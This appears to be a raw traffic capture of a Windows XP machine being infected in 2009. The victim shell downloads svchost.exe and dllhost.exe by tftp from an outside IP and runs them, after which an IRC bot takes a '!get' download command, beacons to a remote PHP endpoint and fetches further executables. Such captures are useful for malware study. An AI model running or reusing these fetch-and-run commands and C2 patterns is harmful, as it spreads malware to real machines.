VICTIM:  	Microsoft Windows XP [Version 5.1.2600] 
VICTIM:  	(C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> 
VICTIM:  	dir wins\\dllhost.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\winsFile Not FoundC:\\WINDOWS\\system32> 
VICTIM:  	dir dllcache\\tftpd.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\dllcacheFile Not FoundC:\\WINDOWS\\system32> 
VICTIM:  	tftp -i 121.124.28.107 get svchost.exe wins\\SVCHOST.EXE 
VICTIM:  	\000\001svchost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	\000\004\000) 
VICTIM:  	\000\004\000* 
VICTIM:  	\000\004\000+ 
VICTIM:  	\000\004\000, 
VICTIM:  	\000\004\000- 
VICTIM:  	\000\004\000. 
VICTIM:  	\000\004\000/ 
VICTIM:  	\000\004\0000 
VICTIM:  	\000\004\0001 
VICTIM:  	\000\004\0002 
VICTIM:  	\000\004\0003 
VICTIM:  	\000\004\0004 
VICTIM:  	\000\004\0005 
VICTIM:  	\000\004\0006 
VICTIM:  	\000\004\0007 
VICTIM:  	\000\004\0008 
VICTIM:  	\000\004\0009 
VICTIM:  	\000\004\000: 
VICTIM:  	Transfer successful: 29456 bytes in 10 seconds, 2945 bytes/s 
VICTIM:  	C:\\WINDOWS\\system32> 
VICTIM:  	\000\001dllhost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	\000\004\000\002 
VICTIM:  	tftp -i 121.124.28.107 get dllhost.exe wins\\DLLHOST.EXE 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	Transfer successful: 19968 bytes in 6 seconds, 3328 bytes/s 
VICTIM:  	C:\\WINDOWS\\system32> 
VICTIM:  	wins\\DLLHOST.EXE 
VICTIM:  	NICK ghxszkwgUSER v020501 . . :- 
VICTIM:  	JOIN &virtu 
ATTACKER:	:u. PRIVMSG ghxszkwg :!get http:/dl2.guarddog2009.com/cw.exe 
VICTIM:  	GET /cw.exe HTTP/1.0User-Agent: DownloadHost: dl2.guarddog2009.comPragma: no-cache 
ATTACKER:	GET / HTTP/1.0Host: www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1.2600 ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)Content-type: application/x-www-form-urlencodedConnection: close 
ATTACKER:	HTTP/1.0 200 OKCache-Control: private, max-age=0Date: Fri, 19 Jun 2009 16:15:33 GMTExpires: -1Content-Type: text/html; charset=UTF-8Set-Cookie: PREF=ID=01995eaa4e7f29f1:TM=1245428133:LM=1245428133:S=p4nQsfjZLx3-Jcbw; expires=Sun, 19-Jun-2011 16:15:33 GMT; path=/; domain=.google.comServer: gws
Web Images Video Maps News Shopping Gmail more ▼
Groups Books Scholar Finance Blogs 
YouTube Calendar Photos Documents Reader Sites 
even more » 
iGoogle | Sign in



 

  Advanced Search
  Preferences
  Language Tools

New! Add themes from National Geographic, Audubon, and others to iGoogle.


Advertising Programs - Business Solutions - About Google
Make Google my homepage
©2009 - Privacy
 
VICTIM:  	POST /achcheck.php HTTP/1.0Host: upr15may.comUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1.2600 ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)Content-type: application/x-www-form-urlencodedConnection: closeContent-Length: 0 
VICTIM:  	POST /ld/gen.php HTTP/1.0Host: upr15may.comUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1.2600 ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)Content-type: application/x-www-form-urlencodedConnection: closeContent-Length: 109 
VICTIM:  	f=0&a=1022434792&v=10&c=0&s=ld&l=14760&ck=0&c_fb=0&c_ms=0&c_hi=0&c_be=0&c_fr=-1&c_yb=-1&c_tg=0&c_nl=0&c_fu=-1 
ATTACKER:	GET /files/pdrv.exe HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: 61.235.117.71Connection: Keep-Alive 
ATTACKER:	GET /files/pdrv.exe HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: 61.235.117.71Connection: Keep-Alive 
ATTACKER:	GET /v50/?v=81&s=I&uid=1022434792&p=14760&ip=&q= HTTP/1.0Host: 85.13.236.154User-Agent:  
ATTACKER:	PING :m. 
ATTACKER:	PONG :m. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :m. 
ATTACKER:	PONG :m. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :m. 
ATTACKER:	PONG :m. 
VICTIM:  	JOIN &virtu